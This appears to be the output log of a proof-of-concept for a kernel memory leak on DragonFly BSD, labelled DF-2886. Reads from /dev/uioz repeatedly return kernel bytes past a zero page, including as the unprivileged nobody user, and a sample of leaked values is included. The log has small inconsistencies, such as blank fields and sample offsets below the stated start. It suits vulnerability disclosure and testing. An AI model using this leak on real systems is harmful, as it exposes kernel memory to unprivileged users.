DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
Unknown option: `-u'
Usage: _su [ -bcdefilmnqstvVxX ] [ argument ... ].
=== run 1 (uid: ) ===
read(/dev/uioz, 65536) returned 65536
bytes[0..4095] all zero : YES
first non-zero at       : 
first non-zero at       : offset 5120 (page +1 past ZeroPage)
non-zero bytes >= 4096  : 64 / 61440
non-zero qwords written to /tmp/leak_1.txt
RESULT: LEAK CONFIRMED - kernel bytes past ZeroPage in user buffer
rc=0
Unknown option: `-u'
Usage: _su [ -bcdefilmnqstvVxX ] [ argument ... ].
=== run 2 (uid: ) ===
read(/dev/uioz, 65536) returned 65536
bytes[0..4095] all zero : YES
first non-zero at       : 
first non-zero at       : offset 5120 (page +1 past ZeroPage)
non-zero bytes >= 4096  : 64 / 61440
non-zero qwords written to /tmp/leak_2.txt
RESULT: LEAK CONFIRMED - kernel bytes past ZeroPage in user buffer
rc=0
Unknown option: `-u'
Usage: _su [ -bcdefilmnqstvVxX ] [ argument ... ].
=== run 3 (uid: ) ===
read(/dev/uioz, 65536) returned 65536
bytes[0..4095] all zero : YES
first non-zero at       : 
first non-zero at       : offset 5120 (page +1 past ZeroPage)
non-zero bytes >= 4096  : 64 / 61440
non-zero qwords written to /tmp/leak_3.txt
RESULT: LEAK CONFIRMED - kernel bytes past ZeroPage in user buffer
rc=0
=== SAMPLE ===
# DF-2886 leak sample: kernel heap read past ZeroPage
# layout: +0 = leaked byte at ZeroPage+4096, etc.
+001024 (pg00): 0x0000000000000004
+002816 (pg00): 0x0000000000000001
+004672 (pg01): 0x0000000000000004
+005728 (pg01): 0x0000000000000020
+006112 (pg01): 0x0000000000000001
+008512 (pg02): 0x0000000000000020
+009408 (pg02): 0x0000000000000010
+009632 (pg02): 0x0000000000000010
+013408 (pg03): 0x0000000000000008
+013504 (pg03): 0x0000000000000008
+013632 (pg03): 0x0000000000000008
+013824 (pg03): 0x0000000000000002
+014176 (pg03): 0x0000000000000002
+014272 (pg03): 0x0000000000000002
+014304 (pg03): 0x0000000000000002
+016416 (pg04): 0x0000000000000001
+018752 (pg04): 0x0000000000000020
+021056 (pg05): 0x0000000000000020
+021408 (pg05): 0x0000000000000001
+022208 (pg05): 0x0000000000000004
+022496 (pg05): 0x000000000000000c
+022560 (pg05): 0x0000000000000008
+022656 (pg05): 0x0000000000000008
+022784 (pg05): 0x0000000000000008
+022848 (pg05): 0x0000000000000008
+023936 (pg05): 0x0000000000000020
+024064 (pg05): 0x0000000000000008
+024320 (pg05): 0x0000000000000008
+025248 (pg06): 0x0000000000000002
+025376 (pg06): 0x0000000000000002
+025408 (pg06): 0x0000000000000002
+025440 (pg06): 0x0000000000000002
+025504 (pg06): 0x0000000000000002
+025536 (pg06): 0x0000000000000002
+026208 (pg06): 0x0000000000000002
+026240 (pg06): 0x0000000000000002
+026336 (pg06): 0x0000000000000002
+026560 (pg06): 0x0000000000000002
+026592 (pg06): 0x0000000000000002
+030848 (pg07): 0x0000000000000004
+033056 (pg08): 0x0000000000000008
+033120 (pg08): 0x0000000000000010
+033632 (pg08): 0x0000000000000002
+033696 (pg08): 0x0000000000000002
+033728 (pg08): 0x0000000000000002
+033760 (pg08): 0x0000000000000002
+037440 (pg09): 0x0000000000000010
+038656 (pg09): 0x0000000000000010
+038784 (pg09): 0x0000000000000010
+038880 (pg09): 0x0000000000000004
+041632 (pg10): 0x0000000000000001
+041760 (pg10): 0x0000000000000001
+041984 (pg10): 0x0000000000000004
+042080 (pg10): 0x0000000000000004
+042144 (pg10): 0x0000000000000010
+045408 (pg11): 0x0000000000000008
+045696 (pg11): 0x0000000000000004
+047072 (pg11): 0x0000000000000001
+051328 (pg12): 0x0000000000000002
+053824 (pg13): 0x0000000000000002
+054016 (pg13): 0x0000000000000002
+055168 (pg13): 0x0000000000000001
+055264 (pg13): 0x0000000000000020
+058144 (pg14): 0x0000000000000008
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
read(/dev/uioz, 65536) returned 65536
bytes[0..4095] all zero : YES
first non-zero at       : 
first non-zero at       : offset 5120 (page +1 past ZeroPage)
non-zero bytes >= 4096  : 63 / 61440
non-zero qwords written to /tmp/leak_uid.txt
RESULT: LEAK CONFIRMED - kernel bytes past ZeroPage in user buffer